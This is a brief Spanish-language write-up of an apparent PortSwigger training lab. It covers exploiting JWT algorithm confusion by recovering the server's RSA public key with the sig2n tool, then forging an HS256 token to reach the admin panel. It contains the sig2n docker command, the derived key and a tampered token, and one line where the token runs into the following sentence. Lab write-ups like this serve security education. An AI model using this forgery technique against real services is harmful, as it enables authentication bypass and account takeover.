
LAB

En este laboratorio estaremos explotando confusión de algoritmos en JWT sin que el servidor exponga públicamente su clave. A pesar de ello, logramos deducir la clave pública RSA que utiliza para validar los tokens, a partir de dos JWT generados legítimamente tras iniciar sesión.
Usamos la herramienta sig2n, que permite reconstruir valores matemáticamente posibles de la clave pública analizando las firmas.
docker run --rm -it portswigger/sig2n <token1> <token2>
Tras identificar la clave válida, la usamos como si fuera una clave secreta con el algoritmo HS256, firmando un token falso que nos identifica como administrador.

Para validar que clave es correcta, iremos probando una a una. Vemos que la cuarta es una valida:


Found n with multiplier 4:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwSlIxYW96bVhBN096Yy83TWJwbgpKaWdqbjVkMGhvRE9QczcwbEY0K1BZZ0o4MzJ1RVZwVUpkRXRhTTBmelpyRE9nZFZBdng3UTFRU0FPb1pSUVIzCjd5eGxqQ2hzbHpRK3ppeVJ5UTVJakF0VDR3bFpuU1RoNnk3WVpxdUkyaFBkOVpoVnkzMVU0MHlac0NpMy8zSWwKS1FvNUNQaTI2NXhaWnIzYnlTd2grR0VPZ1p0RkVsbm5XdjRIWXBMbTdTNS9YU3dlcjlUdVVqKzNFdjVPZHMyZQpsNHdIWlh5c2UycmFwRU1KTGZCUFQ5THAxbnRwUzArZXBHS2tpYXpVcmNwVmVIZ0YrL243TEYwbEFDa3IvSFo5CmFJdXdKWHJrNW1pM1YzWlNmeEN2aW04Szc3TnNCcnVPM3E0MDJ6aklhSnY2eUhuS0JsWlBSRjZhbFMxYjVQMHAKOVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJraWQiOiI3NDE3NmRkNi02NzZmLTQ2NjUtOTQ5Mi0wZTg1ZTgyZDcwM2MiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc3NDIxNDI0NCwgInN1YiI6ICJ3aWVuZXIifQ.nJXsJsskmA0vyrgtE5t6DAm6APlXxjZuiq3O9IUBb4sPor lo que generaremos una key asimétrica y pegar la clave

Luego procedemos a firmar el token cambiando el usuario.

El servidor acepta el token y accedemos al panel de administración, desde donde eliminamos al usuario Carlos.
